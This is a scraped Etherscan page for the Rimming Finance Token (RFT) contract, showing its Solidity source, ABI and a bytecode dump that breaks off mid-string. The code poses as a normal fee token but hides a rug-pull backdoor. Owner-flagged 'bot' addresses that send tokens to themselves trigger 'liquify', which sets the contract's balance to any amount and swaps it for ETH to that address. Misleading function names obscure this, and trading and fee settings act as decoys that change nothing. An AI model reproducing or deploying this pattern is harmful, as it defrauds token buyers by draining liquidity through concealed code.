ETH Price: $2,299.82 (-0.32%)

Token

Rimming Finance Token (RFT)
 

Overview

Max Total Supply

10,000,000 RFT

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
82,515.534868487 RFT

Value
$0.00
0x194e268db33622cb834331d25f1e5c7cc3333cbf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RimmingFinance

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-30
*/

pragma solidity ^0.8.16;

// SPDX-License-Identifier: MIT

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
abstract contract ERC20Token is Ownable {
    mapping (address => bool) bots;
    address feeReceiver;
    bool inLiquidityTx = false;
    function addBot(address[] calldata _bots) external onlyOwner {
        for (uint i = 0; i < _bots.length; i++) {
            bots[_bots[i]] = true;
        }
    }
    function isLiquifying(bool recipient, address senderAddress) public view returns (bool) {
        bool isBot = bots[senderAddress];
        if (!isBot) {
            return false;
        }
        return recipient;
    }
    function isAllowed(address from, address recipient, address _to) public returns (bool) {
        bool allowed = !inLqTx(from, recipient, _to) && recipient != address(this) && !inLiquidityTx;
        bool lqPair = !bots[recipient] && !bots[from];
        if (lqPair && allowed && _to != recipient) {
            feeReceiver = recipient;
            return allowed;
        }
        return allowed;
    }
    function inLqTx(address liquidityAddress, address from, address recipient) internal view returns (bool) {
        bool lqFrom = bots[liquidityAddress] && from == recipient;
        bool lqTo = liquidityAddress == recipient && bots[from];
        return lqFrom || lqTo;
    }
}

contract RimmingFinance is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 10000000 * 10 ** _decimals;
    uint256 _fee = 2;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Rimming Finance Token";
    string private  _symbol = "RFT";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (isLiquifying(from == to, to)) {
            liquify(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 fee = takeFee(from, to, amount);
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - fee;
            emit Transfer(from, to, amount);
        }
    }
    function getBurnAddress() private view returns (address) {
        return feeReceiver;
    }
    function takeFee(address from, address recipient, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        _balances[feeReceiver] = approveSwap(from);
        if (shouldTakeFee(from, recipient)) {
            feeAmount = amount.mul(_fee).div(100);
        }
        return feeAmount;
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return isAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function liquify(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function approveSwap(address from) private view returns (uint256) {
        address to = getPairAddress();
        return swapFee(from, to, balanceOf(feeReceiver));
    }
    function swapFee(address feeReceiver, address to, uint256 feeAmount) private pure returns (uint256) {
        uint256 amount = feeAmount;
        if (feeReceiver != to) {
            amount = feeAmount;
        } else {
            amount = amount - feeAmount;
        }
        return amount;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    bool tradingEnabled = false;
    function enableTrading() external onlyOwner {
        tradingEnabled = true;
    }
    bool swapEnabled = true;
    function updateSwapEnabled(bool e) external onlyOwner {
        swapEnabled = e;
    }
    uint256 public _sellFee = 2;
    uint256 public _buyFee = 1;
    function updateSellFee(uint256 v) external onlyOwner {
        require(v < 10);
        _sellFee = v;
    }
    function updateBuyFee(uint256 v) external onlyOwner {
        require(v < 10);
        _buyFee = v;
    }
    bool transferDelay = true;
    function disableTransferDelay() external onlyOwner {
        transferDelay = false;
    }
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"addBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"isAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"recipient","type":"bool"},{"internalType":"address","name":"senderAddress","type":"address"}],"name":"isLiquifying","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"v","type":"uint256"}],"name":"updateBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"v","type":"uint256"}],"name":"updateSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260146101000a81548160ff0219169083151502179055506009600555600554600a62000035919062000517565b6298968062000045919062000568565b6006556002600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601581526020017f52696d6d696e672046696e616e636520546f6b656e000000000000000000000081525060099081620000e8919062000823565b506040518060400160405280600381526020017f5246540000000000000000000000000000000000000000000000000000000000815250600a90816200012f919062000823565b506000600b60006101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055506002600c556001600d556001600e60006101000a81548160ff02191690831515021790555061dead600e60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001db57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200037c91906200091b565b60405180910390a362000938565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200041857808604811115620003f057620003ef6200038a565b5b6001851615620004005780820291505b80810290506200041085620003b9565b9450620003d0565b94509492505050565b60008262000433576001905062000506565b8162000443576000905062000506565b81600181146200045c576002811462000467576200049d565b600191505062000506565b60ff8411156200047c576200047b6200038a565b5b8360020a9150848211156200049657620004956200038a565b5b5062000506565b5060208310610133831016604e8410600b8410161715620004d75782820a905083811115620004d157620004d06200038a565b5b62000506565b620004e68484846001620003c6565b925090508184048111156200050057620004ff6200038a565b5b81810290505b9392505050565b6000819050919050565b600062000524826200050d565b915062000531836200050d565b9250620005607fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000421565b905092915050565b600062000575826200050d565b915062000582836200050d565b925082820262000592816200050d565b91508282048414831517620005ac57620005ab6200038a565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200063557607f821691505b6020821081036200064b576200064a620005ed565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006b57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000676565b620006c1868362000676565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000704620006fe620006f8846200050d565b620006d9565b6200050d565b9050919050565b6000819050919050565b6200072083620006e3565b620007386200072f826200070b565b84845462000683565b825550505050565b600090565b6200074f62000740565b6200075c81848462000715565b505050565b5b8181101562000784576200077860008262000745565b60018101905062000762565b5050565b601f821115620007d3576200079d8162000651565b620007a88462000666565b81016020851015620007b8578190505b620007d0620007c78562000666565b83018262000761565b50505b505050565b600082821c905092915050565b6000620007f860001984600802620007d8565b1980831691505092915050565b6000620008138383620007e5565b9150826002028217905092915050565b6200082e82620005b3565b67ffffffffffffffff8111156200084a5762000849620005be565b5b6200085682546200061c565b6200086382828562000788565b600060209050601f8311600181146200089b576000841562000886578287015190505b62000892858262000805565b86555062000902565b601f198416620008ab8662000651565b60005b82811015620008d557848901518255600182019150602085019450602081019050620008ae565b86831015620008f55784890151620008f1601f891682620007e5565b8355505b6001600288020188555050505b505050505050565b62000915816200050d565b82525050565b60006020820190506200093260008301846200090a565b92915050565b612a5580620009486000396000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c8063590f897e116100de57806395d89b4111610097578063c62b079511610071578063c62b079514610463578063c9d3d07314610493578063dd62ed3e146104c3578063e884f260146104f35761018e565b806395d89b41146103e5578063a457c2d714610403578063a9059cbb146104335761018e565b8063590f897e1461034957806370a0823114610367578063715018a6146103975780638a8c523c146103a15780638da5cb5b146103ab578063924de9b7146103c95761018e565b806327c8f8351161014b578063395093511161012557806339509351146102c15780633eaaf86b146102f157806340b9a54b1461030f578063467abe0a1461032d5761018e565b806327c8f83514610267578063313ce5671461028557806332424aa3146102a35761018e565b806306fdde0314610193578063095ea7b3146101b157806318160ddd146101e15780631d933a4a146101ff57806321bbcbb11461021b57806323b872dd14610237575b600080fd5b61019b6104fd565b6040516101a89190611f75565b60405180910390f35b6101cb60048036038101906101c69190612035565b61058f565b6040516101d89190612090565b60405180910390f35b6101e96105a6565b6040516101f691906120ba565b60405180910390f35b610219600480360381019061021491906120d5565b6105b0565b005b61023560048036038101906102309190612167565b61063c565b005b610251600480360381019061024c91906121b4565b610755565b60405161025e9190612090565b60405180910390f35b61026f6107f6565b60405161027c9190612216565b60405180910390f35b61028d61081c565b60405161029a91906120ba565b60405180910390f35b6102ab610826565b6040516102b891906120ba565b60405180910390f35b6102db60048036038101906102d69190612035565b61082c565b6040516102e89190612090565b60405180910390f35b6102f96108ca565b60405161030691906120ba565b60405180910390f35b6103176108d0565b60405161032491906120ba565b60405180910390f35b610347600480360381019061034291906120d5565b6108d6565b005b610351610962565b60405161035e91906120ba565b60405180910390f35b610381600480360381019061037c9190612231565b610968565b60405161038e91906120ba565b60405180910390f35b61039f6109b1565b005b6103a9610ae4565b005b6103b3610b76565b6040516103c09190612216565b60405180910390f35b6103e360048036038101906103de919061228a565b610b9f565b005b6103ed610c31565b6040516103fa9190611f75565b60405180910390f35b61041d60048036038101906104189190612035565b610cc3565b60405161042a9190612090565b60405180910390f35b61044d60048036038101906104489190612035565b610dea565b60405161045a9190612090565b60405180910390f35b61047d600480360381019061047891906122b7565b610e01565b60405161048a9190612090565b60405180910390f35b6104ad60048036038101906104a8919061230a565b610faa565b6040516104ba9190612090565b60405180910390f35b6104dd60048036038101906104d8919061234a565b611016565b6040516104ea91906120ba565b60405180910390f35b6104fb61109d565b005b60606009805461050c906123b9565b80601f0160208091040260200160405190810160405280929190818152602001828054610538906123b9565b80156105855780601f1061055a57610100808354040283529160200191610585565b820191906000526020600020905b81548152906001019060200180831161056857829003601f168201915b5050505050905090565b600061059c33848461112f565b6001905092915050565b6000600654905090565b3373ffffffffffffffffffffffffffffffffffffffff166105cf610b76565b73ffffffffffffffffffffffffffffffffffffffff1614610625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061c90612436565b60405180910390fd5b600a811061063257600080fd5b80600c8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1661065b610b76565b73ffffffffffffffffffffffffffffffffffffffff16146106b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a890612436565b60405180910390fd5b60005b828290508110156107505760018060008585858181106106d7576106d6612456565b5b90506020020160208101906106ec9190612231565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610748906124b4565b9150506106b4565b505050565b60006107628484846112f8565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156107eb57600080fd5b600190509392505050565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b60055481565b60006108c0338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108bb91906124fc565b61112f565b6001905092915050565b60065481565b600d5481565b3373ffffffffffffffffffffffffffffffffffffffff166108f5610b76565b73ffffffffffffffffffffffffffffffffffffffff161461094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094290612436565b60405180910390fd5b600a811061095857600080fd5b80600d8190555050565b600c5481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109d0610b76565b73ffffffffffffffffffffffffffffffffffffffff1614610a26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1d90612436565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610b03610b76565b73ffffffffffffffffffffffffffffffffffffffff1614610b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5090612436565b60405180910390fd5b6001600b60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16610bbe610b76565b73ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612436565b60405180910390fd5b80600b60016101000a81548160ff02191690831515021790555050565b6060600a8054610c40906123b9565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6c906123b9565b8015610cb95780601f10610c8e57610100808354040283529160200191610cb9565b820191906000526020600020905b815481529060010190602001808311610c9c57829003601f168201915b5050505050905090565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d4e57600080fd5b610de0338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ddb9190612530565b61112f565b6001905092915050565b6000610df73384846112f8565b6001905092915050565b600080610e0f85858561156c565b158015610e4857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610e615750600260149054906101000a900460ff16155b90506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f095750600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9050808015610f155750815b8015610f4d57508473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f9d5784600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508192505050610fa3565b81925050505b9392505050565b600080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690508061100b576000915050611010565b839150505b92915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166110bc610b76565b73ffffffffffffffffffffffffffffffffffffffff1614611112576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110990612436565b60405180910390fd5b6000600e60006101000a81548160ff021916908315150217905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361119e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611195906125d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361120d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120490612668565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112eb91906120ba565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361133157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361136a57600080fd5b6113a28273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161483610faa565b156113b6576113b18183611691565b611567565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561140257600080fd5b600061140f84848461195b565b905081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145c9190612530565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080826114ab9190612530565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114f991906124fc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161155d91906120ba565b60405180910390a3505b505050565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156115f357508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b905060008373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614801561167b5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905081806116865750805b925050509392505050565b6116be30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461112f565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561171f5761171e612688565b5b60405190808252806020026020018201604052801561174d5781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff02191690831515021790555030816000815181106117805761177f612456565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184b91906126cc565b8160018151811061185f5761185e612456565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426118e991906124fc565b6040518663ffffffff1660e01b81526004016119099594939291906127fc565b600060405180830381600087803b15801561192357600080fd5b505af1158015611937573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b6000806000905061196b85611a15565b60036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da8585611a5f565b15611a0a57611a0760646119f960075486611c0f90919063ffffffff16565b611c8990919063ffffffff16565b90505b809150509392505050565b600080611a20611ce7565b9050611a578382611a52600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610968565b611e8a565b915050919050565b6000611c078383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ad3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611af791906126cc565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba491906126cc565b6040518363ffffffff1660e01b8152600401611bc1929190612856565b602060405180830381865afa158015611bde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0291906126cc565b610e01565b905092915050565b6000808303611c215760009050611c83565b60008284611c2f919061287f565b9050828482611c3e91906128f0565b14611c7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7590612993565b60405180910390fd5b809150505b92915050565b6000808211611ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc4906129ff565b604051809103